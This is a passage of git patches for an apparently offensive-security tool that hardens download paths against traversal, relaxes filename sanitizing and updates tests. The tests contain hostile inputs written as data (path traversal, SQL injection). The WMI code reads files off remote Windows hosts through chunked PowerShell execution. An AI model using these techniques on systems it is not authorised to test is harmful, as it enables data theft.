exist_ok=True) share = session["private_key_path"].split(":")[0] + "$" file_path = session["private_key_path"].split(":")[1] - download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec" + download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve() + if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents: + self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, skipping") + continue buf = BytesIO() with open(download_path, "wb") as file: diff --git a/nxc/modules/recyclebin.py b/nxc/modules/recyclebin.py index cdbcd939c8..4557a28c23 100644 --- a/nxc/modules/recyclebin.py +++ b/nxc/modules/recyclebin.py @@ -1,7 +1,9 @@ from os import makedirs from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH -from os.path import join, abspath +from os.path import join +from pathlib import Path from impacket.dcerpc.v5 import rrp from impacket.dcerpc.v5.rrp import DCERPCSessionError from impacket.examples.secretsdump import RemoteOperations @@ -73,8 +75,11 @@ def on_admin_login(self, context, connection): # Formatting the destination filename file_path = path.split("$")[-1].replace("/", "_") - filename = f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}" - dest_path = abspath(join(export_path, filename)) + filename = sanitize_path_component(f"{connection.host}_{username if username else sid_directory.get_longname()}_recyclebin_{file_path}") + dest_path = Path(export_path, filename).resolve() + if Path(export_path).resolve() not in dest_path.parents: + context.log.fail(f"Path traversal detected in {filename!r}, skipping") + continue try: with open(dest_path, "wb+") as file: connection.conn.getFile("C$", path, file.write) diff --git a/nxc/modules/snipped.py b/nxc/modules/snipped.py index 3dc0e0be82..0cc9271323 100644 --- a/nxc/modules/snipped.py +++ b/nxc/modules/snipped.py @@ -1,8 +1,9 @@ import ntpath import os from os.path import join, getsize, exists -from pathlib import PurePosixPath +from pathlib import Path from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH @@ -85,11 +86,10 @@ def on_admin_login(self, context, connection): continue remote_file_path = ntpath.join(screenshot_path, remote_file_name) - # replace \\ with underscores and ignore absolute path or path traversal attempts - clean_screenshot_path = "_".join(p for p in PurePosixPath(screenshot_path.replace("\\", "/")).parts if p not in ("..", ".", "/")) - clean_file = "_".join(p for p in PurePosixPath(remote_file_name.replace("\\", "/")).parts if p not in ("..", ".", "/")) - - local_file_path = join(user_output_dir, f"{clean_screenshot_path}_{clean_file}") + local_file_path = Path(user_output_dir, sanitize_path_component(f"{screenshot_path}_{remote_file_name}")).resolve() + if Path(user_output_dir).resolve() not in local_file_path.parents: + context.log.fail(f"Path traversal detected in {remote_file_path!r}, skipping") + continue context.log.debug(f"{local_file_path=}") try: diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index 7eb1ece93b..e3d6bc253f 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -2,9 +2,10 @@ import errno from os.path import abspath, join, exists, splitext, getsize from os import makedirs, remove, stat -from pathlib import Path, PurePosixPath +from pathlib import Path import time from nxc.helpers.misc import CATEGORY +from nxc.helpers.path import sanitize_path_component from nxc.paths import NXC_PATH from nxc.protocols.smb.remotefile import RemoteFile from impacket.smb3structs import FILE_READ_DATA @@ -172,13 +173,13 @@ def read_chunk(self, remote_file, chunk_size=CHUNK_SIZE): def get_file_save_path(self, remote_file): r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally. - Creates a PurePosixPath and replaces UNC parts, then cleans it of any path traversal (see issue #1120) + Sanitizes each local path component and verifies containment in the output folder. """ self.logger.debug(f"Remote file: {remote_file}") - raw_path = PurePosixPath(remote_file._RemoteFile__share, remote_file._RemoteFile__fileName.replace("\\", "/")) - self.logger.debug(f"Raw path: {remote_file}") - clean_parts = [p for p in raw_path.parts if p not in ("..", ".")] - resolved = Path(self.output_folder).joinpath(self.host, *clean_parts) + clean_parts = [sanitize_path_component(part) for part in remote_file._RemoteFile__fileName.replace("\\", "/").split("/") if part] + resolved = Path(self.output_folder).joinpath(sanitize_path_component(self.host), sanitize_path_component(remote_file._RemoteFile__share), *clean_parts).resolve() + if Path(self.output_folder).resolve() not in resolved.parents: + raise ValueError(f"Path traversal detected in {remote_file!s}") self.logger.debug(f"Resolved path: {resolved}") return str(resolved.parent), resolved.name @@ -308,7 +309,12 @@ def parse_file(self, share_name, file_path, file_info): return # Check if the file is already downloaded and up-to-date. - file_dir, file_name = self.get_file_save_path(remote_file) + try: + file_dir, file_name = self.get_file_save_path(remote_file) + except ValueError as e: + self.logger.fail(str(e)) + self.stats["num_get_fail"] += 1 + return download_path = join(file_dir, file_name) needs_update_flag = False if exists(download_path): @@ -324,7 +330,7 @@ def parse_file(self, share_name, file_path, file_info): try: self.logger.info(f'Downloading file "{file_path}" => "{download_path}".') remote_file.open_file() - self.save_file(remote_file, share_name) + self.save_file(remote_file, share_name, download_path) remote_file.close() download_success = True except SessionError as e: @@ -341,7 +347,7 @@ def parse_file(self, share_name, file_path, file_info): else: self.stats["num_get_fail"] += 1 - def save_file(self, remote_file, share_name): + def save_file(self, remote_file, share_name, download_path): """Reads the `remote_file` in chunks using the `read_chunk` method. Each chunk is then written to the local file until the entire file is saved. @@ -350,12 +356,9 @@ def save_file(self, remote_file, share_name): # Reset the remote_file to point to the beginning of the file. remote_file.seek(0, 0) - folder, filename = self.get_file_save_path(remote_file) - download_path = join(folder, filename) - # Create the subdirectories based on the share name and file path. - self.logger.debug(f"Creating folder '{folder}'") - make_dirs(folder) + self.logger.debug(f"Creating folder '{Path(download_path).parent}'") + make_dirs(Path(download_path).parent) try: with open(download_path, "wb") as fd: From 910415c897a0255e5f4905ab157edd29685591de Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 27 Sep 2026 16:29:23 -0400 Subject: [PATCH 366/397] Losen DNS sanitization to allow weird windows dns names --- nxc/helpers/misc.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index e026e43bff..eacf3087ab 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -64,11 +64,6 @@ def sanitize_dns(hostname, logger=nxc_logger): if sanitized.endswith(".") or normalize("NFKC", sanitized[-1]).endswith("."): sanitized = f"{sanitized[:-1]}_" - # Avoid Windows device names when the result is used as a filename. - normalized_stem = normalize("NFKC", sanitized).split(".", 1)[0].upper() - if normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem): - sanitized = f"_{sanitized}" - # Bound filename length while retaining a stable identifier for long names. if len(sanitized.encode("utf-8")) > 253: suffix = f"_{hashlib.sha256(hostname.encode('utf-8', errors='surrogatepass')).hexdigest()[:12]}" @@ -91,7 +86,6 @@ def sanitize_dns(hostname, logger=nxc_logger): or len(sanitized.encode("utf-8")) > 253 or normalized in (".", "..") or normalized.endswith(".") - or normalized_stem in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) or any( not character.isprintable() From 13d00e4b22857055e2c765b72c4bff6c85743da7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 27 Sep 2026 16:35:38 -0400 Subject: [PATCH 367/397] Losen filename restrictions to allow curly braces and fix tests --- nxc/helpers/misc.py | 2 -- nxc/helpers/path.py | 4 ++-- tests/test_sanitize.py | 34 +++++++++++++++++++++------------- 3 files changed, 23 insertions(+), 17 deletions(-) diff --git a/nxc/helpers/misc.py b/nxc/helpers/misc.py index eacf3087ab..3402ffec16 100755 --- a/nxc/helpers/misc.py +++ b/nxc/helpers/misc.py @@ -79,14 +79,12 @@ def sanitize_dns(hostname, logger=nxc_logger): # Fail closed if a future change violates any output invariant. normalized = normalize("NFKC", sanitized) - normalized_stem = normalized.split(".", 1)[0].upper() if ( not sanitized or not normalized or len(sanitized.encode("utf-8")) > 253 or normalized in (".", "..") or normalized.endswith(".") - or re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) or any( not character.isprintable() or character.isspace() diff --git a/nxc/helpers/path.py b/nxc/helpers/path.py index b2dd40f242..ea6e70f828 100644 --- a/nxc/helpers/path.py +++ b/nxc/helpers/path.py @@ -18,8 +18,8 @@ def sanitize_path_component(name, max_bytes=255): if not name: return "_" - # Replace path, formatting, control, and Unicode-equivalent metacharacters. - unsafe_characters = '<>:"/\\|?*{}' # Portable filename and format-string metacharacters + # Replace path, control, and Unicode-equivalent metacharacters. + unsafe_characters = '<>:"/\\|?*' # Portable filename metacharacters sanitized = "".join( character if character.isprintable() and character not in unsafe_characters diff --git a/tests/test_sanitize.py b/tests/test_sanitize.py index 3f14ffaf3b..b56891bd82 100644 --- a/tests/test_sanitize.py +++ b/tests/test_sanitize.py @@ -4,12 +4,13 @@ import re from types import SimpleNamespace from unicodedata import normalize -from unittest.mock import patch +from unittest.mock import Mock, patch import pytest from impacket import ntlm from impacket.ldap import ldapasn1 as ldapasn1_impacket +from nxc.connection import connection from nxc.helpers.bloodhound import _add_with_domain, _add_without_domain from nxc.helpers.misc import sanitize_dns from nxc.helpers.negotiate_parser import parse_challenge @@ -219,9 +220,9 @@ def test_sanitize_dns_replaces_config_and_control_characters(): assert r"\x1b" in logger.messages[0] -@pytest.mark.parametrize("name", ["CON", "NUL.txt", "PRN", "AUX.log", "COM1", "LPT9.txt", "COM¹.txt", "CONIN$", "CONOUT$"]) -def test_sanitize_dns_neutralizes_windows_device_names(name): - assert sanitize_dns(name, Logger()).startswith("_") +@pytest.mark.parametrize("name", ["CON", "NUL.txt", "PRN", "AUX.log", "COM1", "LPT9.txt", "COM¹.txt", "CONIN$", "CONOUT$", "aux.example.com", "com1.example.com", "lpt9.example.com"]) +def test_sanitize_dns_preserves_windows_device_names(name): + assert sanitize_dns(name, Logger()) == name def test_sanitize_dns_bounds_long_values_with_stable_hash(): @@ -250,7 +251,6 @@ def test_sanitize_dns_always_returns_a_string(): def test_sanitize_dns_postconditions(hostname): sanitized = sanitize_dns(hostname, Logger()) normalized = normalize("NFKC", sanitized) - normalized_stem = normalized.split(".", 1)[0].upper() assert isinstance(sanitized, str) assert sanitized assert len(sanitized.encode("utf-8")) <= 253 @@ -265,8 +265,6 @@ def test_sanitize_dns_postconditions(hostname): ) assert normalized not in (".", "..") assert not normalized.endswith(".") - assert normalized_stem not in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} - assert re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) is None assert sanitize_dns(sanitized, Logger()) == sanitized @@ -405,7 +403,10 @@ def test_smb_download_sanitizes_recursive_directory_components(tmp_path, smb_cla ("NUL.txt", "_NUL.txt"), ("../pwn", ".._pwn"), (r"..\pwn", ".._pwn"), - ("{hostname}", "_hostname_"), + ("{hostname}", "{hostname}"), + ("report{1}.txt", "report{1}.txt"), + ("report_1_.txt", "report_1_.txt"), + ("report\uff5b1\uff5d.txt", "report\uff5b1\uff5d.txt"), ("host\u202ename", "host_name"), ("münchen.example", "münchen.example"), ("CON .txt", "_CON .txt"), @@ -427,9 +428,9 @@ def test_sanitize_path_component_postconditions(name): assert sanitized assert len(sanitized.encode("utf-8")) <= 255 assert all(character.isprintable() for character in sanitized) - assert not any(character in '<>:"/\\|?*{}' for character in sanitized) + assert not any(character in '<>:"/\\|?*' for character in sanitized) assert all( - normalized_character.isprintable() and normalized_character not in '<>:"/\\|?*{}' + normalized_character.isprintable() and normalized_character not in '<>:"/\\|?*' for character in sanitized for normalized_character in normalize("NFKC", character) ) @@ -455,9 +456,16 @@ def test_sanitize_path_component_keeps_paths_inside_base(tmp_path): assert PureWindowsPath("C:/base", sanitized).parent == PureWindowsPath("C:/base") -def test_sanitize_path_component_is_safe_in_output_template(tmp_path): - template = str(Path(tmp_path) / "{output_folder}" / sanitize_path_component("{hostname}")) - assert template.format(output_folder="sam") == str(Path(tmp_path) / "sam" / "_hostname_") +def test_connection_preserves_literal_braces_in_output_template(tmp_path): + with patch("nxc.connection.NXC_PATH", str(tmp_path / "{base}")), patch("nxc.connection.connection", autospec=True) as mocked: + mocked.return_value.hostname = "{hostname}" + mocked.return_value.host = "{output_folder}" + mocked.return_value.logger = Mock() + mocked.return_value.args = SimpleNamespace(module=None) + connection.proto_flow(mocked.return_value) + + assert Path(mocked.return_value.output_filename).name.startswith("{hostname}_{output_folder}_") + assert mocked.return_value.output_file_template.format(output_folder="sam") == str(tmp_path / "{base}" / "logs" / "sam" / Path(mocked.return_value.output_filename).name) def test_sanitize_path_component_honors_custom_budget(): From d8bc2f7dc8d624bda94a63fc147eb3d2fa564284 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 27 Sep 2026 16:37:38 -0400 Subject: [PATCH 368/397] Remove bullshit tests --- tests/test_sanitize.py | 38 +------------------------------------- 1 file changed, 1 insertion(+), 37 deletions(-) diff --git a/tests/test_sanitize.py b/tests/test_sanitize.py index b56891bd82..1b30de2587 100644 --- a/tests/test_sanitize.py +++ b/tests/test_sanitize.py @@ -4,13 +4,12 @@ import re from types import SimpleNamespace from unicodedata import normalize -from unittest.mock import Mock, patch +from unittest.mock import patch import pytest from impacket import ntlm from impacket.ldap import ldapasn1 as ldapasn1_impacket -from nxc.connection import connection from nxc.helpers.bloodhound import _add_with_domain, _add_without_domain from nxc.helpers.misc import sanitize_dns from nxc.helpers.negotiate_parser import parse_challenge @@ -322,29 +321,6 @@ def test_bloodhound_uses_parameters_for_untrusted_names(function, user_info, dom assert transaction.calls[1][1]["user_owned"] in (expected, "USER' OR 1=1@EXAMPLE") -def test_smb_hosts_file_sanitizes_at_sink_without_mutating_values(tmp_path, smb_class): - connection = smb_class.__new__(smb_class) - connection.host = "192.0.2.1" - connection.hostname = "../../HOST\n" - connection.targetDomain = "[evil]\n" - connection.domain = connection.targetDomain - connection.signing = False - connection.smbv1 = False - connection.no_ntlm = False - connection.is_guest = False - connection.isdc = False - connection.null_auth = False - connection.server_os = "Windows" - connection.os_arch = 64 - connection.logger = Logger() - connection.args = SimpleNamespace(generate_hosts_file=str(tmp_path / "hosts"), generate_krb5_file=None) - - result = connection.print_host_info() - - assert result == (connection.host, "../../HOST\n", "[evil]\n") - assert (tmp_path / "hosts").read_text().splitlines() == ["192.0.2.1 .._.._HOST_._evil__ .._.._HOST_"] - - def test_smb_enum_host_info_sanitizes_remote_names(smb_class): connection = smb_class.__new__(smb_class) connection.conn = EnumerationSMBConnection() @@ -456,18 +432,6 @@ def test_sanitize_path_component_keeps_paths_inside_base(tmp_path): assert PureWindowsPath("C:/base", sanitized).parent == PureWindowsPath("C:/base") -def test_connection_preserves_literal_braces_in_output_template(tmp_path): - with patch("nxc.connection.NXC_PATH", str(tmp_path / "{base}")), patch("nxc.connection.connection", autospec=True) as mocked: - mocked.return_value.hostname = "{hostname}" - mocked.return_value.host = "{output_folder}" - mocked.return_value.logger = Mock() - mocked.return_value.args = SimpleNamespace(module=None) - connection.proto_flow(mocked.return_value) - - assert Path(mocked.return_value.output_filename).name.startswith("{hostname}_{output_folder}_") - assert mocked.return_value.output_file_template.format(output_folder="sam") == str(tmp_path / "{base}" / "logs" / "sam" / Path(mocked.return_value.output_filename).name) - - def test_sanitize_path_component_honors_custom_budget(): sanitized = sanitize_path_component("a" * 300, max_bytes=220) assert len(sanitized.encode("utf-8")) <= 220 From e056c5a85702bda7445f3fed169b1b0d71ee446e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 27 Sep 2026 17:00:11 -0400 Subject: [PATCH 369/397] Enforce AI usage rules, also trim down a bit --- .github/PULL_REQUEST_TEMPLATE.md | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/.github/PULL_REQUEST_TEMPLATE.md b/.github/PULL_REQUEST_TEMPLATE.md index 42cf79b1bb..ab9c839838 100644 --- a/.github/PULL_REQUEST_TEMPLATE.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -2,10 +2,16 @@ Please include a summary of the change and which issue is fixed, or what the enhancement does. List any dependencies that are required for this change. -If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. See the project's AI policy for more details: https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md +### AI Assistance +If you have used AI in any form, please state the tool you used (e.g. Claude Code, Cursor, Amp) along with the extent that the work was AI-assisted. + +Note that if you have used AI, you: +- MUST test the changes against a live system +- MUST include a screenshot of such a test (e.g. with a before and after screenshot when submitting a bug fix) +- MUST fill out this PR template by hand, see the project's AI policy: [AI_POLICY.md](https://github.com/Pennyw0rth/NetExec/blob/main/AI_POLICY.md) ## Type of change -Insert an "x" inside the brackets for relevant items (do not delete options) +Insert an "x" inside the brackets for relevant items - [ ] Bug fix (non-breaking change which fixes an issue) - [ ] New feature (non-breaking change which adds functionality) @@ -16,7 +22,8 @@ Insert an "x" inside the brackets for relevant items (do not delete options) - [ ] This PR was created with the assistance of AI (list what type of assistance, tool(s)/model(s) in the description) ## Setup guide for the review -Please provide guidance on what setup is needed to test the introduced changes, such as your locally running machine Python version & OS, as well as the target(s) you tested against, including software versions. +Please provide guidance on what setup is needed to test the introduced changes, such as the target(s) you tested against or software versions. + In particular: - Bug Fix: Please provide a short description on how to trigger the bug, to make the bug reproducable for the reviewer. - Added Feature/Enhancement: Please specify what setup is needed in order to test the changes, such as: From bb7afd4a099ac2270654c30b0f855a74246139a0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 27 Sep 2026 17:14:59 -0400 Subject: [PATCH 370/397] Fix lock file --- poetry.lock | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/poetry.lock b/poetry.lock index 3e369e2e7b..eeefd043db 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.4.1 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.5.1 and should not be changed by hand. [[package]] name = "aardwolf" @@ -439,7 +439,7 @@ files = [ [package.dependencies] dnspython = "*" impacket = ">=0.9.17" -ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" +ldap3 = ">2.5.0,!=2.5.2,!=2.6" pyasn1 = ">=0.4" pycryptodome = "*" @@ -1190,7 +1190,7 @@ files = [ ] [package.dependencies] -cryptography = ">=3.1,<3.4.0 || >3.4.0" +cryptography = ">=3.1,!=3.4.0" [package.extras] dev = ["black", "isort", "mypy", "types-freezegun"] @@ -1225,7 +1225,7 @@ files = [ [package.dependencies] dnspython = "*" -ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" +ldap3 = ">2.5.0,!=2.5.2,!=2.6" [[package]] name = "lsassy" @@ -2606,7 +2606,7 @@ files = [ ] [package.dependencies] -click = ">=6.7,<7.0 || >7.0" +click = ">=6.7,!=7.0" pip = ">=9.0.3" setuptools = "*" @@ -3042,4 +3042,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "11d6b0b792b5f5e7ecb7ed5ba7406f4353f298e4ff154bca15d9a93a0a3fec48" +content-hash = "3941314ffac5bab30f27b72b1b92e60864f7ffa070459d4d3e5c7744d61921b0" From 6555186bcea1564708d32a995f47d75c4fbeed37 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 27 Sep 2026 17:15:13 -0400 Subject: [PATCH 371/397] Fix new task format --- nxc/protocols/smb.py | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 401f5844f4..a4ada6cfc1 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1378,12 +1378,12 @@ def qwinsta(self): @requires_admin def tasklist(self): # Formats a row to be printed on screen - def format_row(procInfo): + def format_row(procInfo, pSid): return template.format( - procInfo["ImageName"], - procInfo["UniqueProcessId"], - procInfo["SessionId"], - procInfo["pSid"], + str(procInfo["ImageName"].getValue()), + str(procInfo["UniqueProcessId"]), + str(procInfo["SessionId"]), + pSid, f"{procInfo['WorkingSetSize'] // 1000:,} K", ) @@ -1399,8 +1399,8 @@ def format_row(procInfo): if not res: return self.logger.success("Enumerated processes") - maxImageNameLen = max(len(i["ImageName"]) for i in res) - maxSidLen = max(len(i["pSid"]) for i in res) + maxImageNameLen = max(len(i.getProcessInfo()["ImageName"].getValue()) for i in res) + maxSidLen = max(len(i.getSid()) for i in res) template = f"{{: <{maxImageNameLen}}} {{: <8}} {{: <11}} {{: <{maxSidLen}}} {{: >12}}" self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) @@ -1411,12 +1411,12 @@ def format_row(procInfo): # If args.tasklist is not True then a process name was supplied if self.args.tasklist is not True: # So we look for it and print its information if found - if self.args.tasklist.lower() in procInfo["ImageName"].lower(): + if self.args.tasklist.lower() in procInfo.getProcessInfo()["ImageName"].lower(): found_task = True - self.logger.highlight(format_row(procInfo)) + self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid())) # Else, no process was supplied, we print the entire list of remote processes else: - self.logger.highlight(format_row(procInfo)) + self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid())) # If a process was suppliad to args.tasklist and it was not found, we print a fail message if self.args.tasklist is not True and not found_task: From 71c36e9a094eb4fe1c004a70a0da0d0d3f289d51 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 27 Sep 2026 17:23:06 -0400 Subject: [PATCH 372/397] Fix new task format for task killing --- nxc/protocols/smb.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index a4ada6cfc1..085b3e21e0 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1264,7 +1264,7 @@ def taskkill(self): self.logger.error("Could not get process list") return - pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower() == self.args.taskkill.lower()] + pidList = [i.getProcessInfo()["UniqueProcessId"] for i in res if i.getProcessInfo()["ImageName"].getValue().lower() == self.args.taskkill.lower()] if not pidList: self.logger.fail(f"Could not find process named {self.args.taskkill}") return @@ -1411,7 +1411,7 @@ def format_row(procInfo, pSid): # If args.tasklist is not True then a process name was supplied if self.args.tasklist is not True: # So we look for it and print its information if found - if self.args.tasklist.lower() in procInfo.getProcessInfo()["ImageName"].lower(): + if self.args.tasklist.lower() in procInfo.getProcessInfo()["ImageName"].getValue().lower(): found_task = True self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid())) # Else, no process was supplied, we print the entire list of remote processes From 61bec860e9039b1765ae7d177d85ee2e6a2251f6 Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 30 Sep 2026 15:41:53 +0200 Subject: [PATCH 373/397] change logic in wmi read_file --- nxc/protocols/wmi.py | 85 ++++++++++++++++++++++++-------------------- 1 file changed, 47 insertions(+), 38 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 3092d5ba28..ef9add3361 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -1,4 +1,5 @@ import os +import re import struct import binascii from Cryptodome.Hash import MD4 @@ -391,29 +392,13 @@ def read_file(self, remote_path) -> bytes | None: if powershellv3_namespace is None: return None - # Check file size - def callback_func(iEnumWbemClassObject, records): - wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] - record = dict(wmi_results.getProperties()) - callback_func.size = record["FileSize"]["value"] - - callback_func.size = 0 - - wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{escaped_path}'" - self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) - # If file is bigger than 70MB, print a warning - if callback_func.size < 73400320: # 70MB - # Read the file - try: - object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' - iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) - except DCERPCSessionError as e: - if e.error_code == 0x80041002: - self.logger.fail(f"Cannot find file '{remote_path}'") - return None - + # Read the file + try: + object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' + iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) obj = iWbemClassObject.getProperties() + file_data = None for prop_name, prop_value in obj.items(): if prop_name == "FileData": @@ -426,23 +411,47 @@ def callback_func(iEnumWbemClassObject, records): # Unpack it file_length = struct.unpack(">I", bytes(file_data[:4]))[0] return bytes(file_data[4:4 + file_length]) - else: - self.logger.fail(f"{remote_path} filesize is {callback_func.size / 1024**2:.2f} Mo. The download will take some time and use wmi command execution.") - # Read file dirty - data = b"" - chunk_size = 1 * 1024 * 1024 # 5MB - Could not do bigger or it crash - chunk_count = (callback_func.size + chunk_size - 1) // chunk_size - try: - for i in range(chunk_count): - offset = i * chunk_size - self.logger.debug(f"Reading bytes from {offset} to {offset + chunk_size if offset + chunk_size < callback_func.size else callback_func.size}") - powershell_command = f"$fs=[IO.File]::OpenRead('{remote_path}');try {{ $fs.Seek({offset},[IO.SeekOrigin]::Begin)|Out-Null;$b=[byte[]]::new({chunk_size});$n=$fs.Read($b,0,$b.Length);Write-Output ([Convert]::ToBase64String($b,0,$n)) }} finally {{ $fs.Dispose() }}" - output = self.execute_psh(powershell_command, get_output=True) - data += base64.b64decode(output) - return data - except Exception as e: - self.logger.debug(f"Error while downloading {remote_path}: {e}") - self.logger.fail(f"Could not download {remote_path}") + except DCERPCSessionError as e: + if e.error_code == 0x80041006: # WBEM_E_OUT_OF_MEMORY + # With the PS_ModuelFile technique, the file will be loaded into + # WMI process memory. By default, a specific memory space is allocated + # to each WMI provider host process (WMIPrvse.exe). This value can be + # found by querying MemoryPerHost in __ProviderHostQuotaConfiguration class + # in root namespace. Default is 512MB, but tests showed that starting from 70MB, the download can fail + # File is too big, let's try to copy it the dirty way + + # Check file size + def callback_func(iEnumWbemClassObject, records): + wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] + record = dict(wmi_results.getProperties()) + callback_func.size = record["FileSize"]["value"] + + callback_func.size = 0 + + wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{escaped_path}'" + self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) + + # Get the file chunk by chunk with command exec + self.logger.fail(f"{remote_path} filesize is {callback_func.size / 1024**2:.0f}MB. The download will take some time and use wmi command execution.") + data = b"" + chunk_size = 1 * 1024 * 1024 # 1MB - Could not do bigger or it can crash + chunk_count = (callback_func.size + chunk_size - 1) // chunk_size + try: + for i in range(chunk_count): + offset = i * chunk_size + self.logger.debug(f"Reading bytes from {offset} to {offset + chunk_size if offset + chunk_size < callback_func.size else callback_func.size}") + powershell_command = f"$fs=[IO.File]::OpenRead('{remote_path}');try {{ $fs.Seek({offset},[IO.SeekOrigin]::Begin)|Out-Null;$b=[byte[]]::new({chunk_size});$n=$fs.Read($b,0,$b.Length);Write-Output ([Convert]::ToBase64String($b,0,$n)) }} finally {{ $fs.Dispose() }}" + output = self.execute_psh(powershell_command, get_output=True) + data += base64.b64decode(output) + return data + except Exception as e2: + self.logger.debug(f"Error while downloading {remote_path}: {e}") + self.logger.fail(f"Could not download {remote_path}") + + elif e.error_code == 0x80041002: # WBEM_E_NOT_FOUND + self.logger.fail(f"Cannot find file '{remote_path}'") + else: + self.logger.debug(f"Error while downloading {remote_path}: {e}") return None def get_file_single(self, remote_path, download_path): From 641ba4d4862c0e8729d88552b7771a89afda3abd Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 30 Sep 2026 15:42:53 +0200 Subject: [PATCH 374/397] ruff --- nxc/protocols/wmi.py | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index ef9add3361..313499ee2b 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -1,5 +1,4 @@ import os -import re import struct import binascii from Cryptodome.Hash import MD4 @@ -398,7 +397,6 @@ def read_file(self, remote_path) -> bytes | None: iWbemClassObject, _ = powershellv3_namespace.GetObject(object_path) obj = iWbemClassObject.getProperties() - file_data = None for prop_name, prop_value in obj.items(): if prop_name == "FileData": @@ -412,12 +410,12 @@ def read_file(self, remote_path) -> bytes | None: file_length = struct.unpack(">I", bytes(file_data[:4]))[0] return bytes(file_data[4:4 + file_length]) except DCERPCSessionError as e: - if e.error_code == 0x80041006: # WBEM_E_OUT_OF_MEMORY - # With the PS_ModuelFile technique, the file will be loaded into + if e.error_code == 0x80041006: # WBEM_E_OUT_OF_MEMORY + # With the PS_ModuelFile technique, the file will be loaded into # WMI process memory. By default, a specific memory space is allocated - # to each WMI provider host process (WMIPrvse.exe). This value can be + # to each WMI provider host process (WMIPrvse.exe). This value can be # found by querying MemoryPerHost in __ProviderHostQuotaConfiguration class - # in root namespace. Default is 512MB, but tests showed that starting from 70MB, the download can fail + # in root namespace. Default is 512MB, but tests showed that starting from 70MB, the download can fail # File is too big, let's try to copy it the dirty way # Check file size @@ -445,13 +443,13 @@ def callback_func(iEnumWbemClassObject, records): data += base64.b64decode(output) return data except Exception as e2: - self.logger.debug(f"Error while downloading {remote_path}: {e}") + self.logger.debug(f"Error while downloading {remote_path}: {e2}") self.logger.fail(f"Could not download {remote_path}") - elif e.error_code == 0x80041002: # WBEM_E_NOT_FOUND + elif e.error_code == 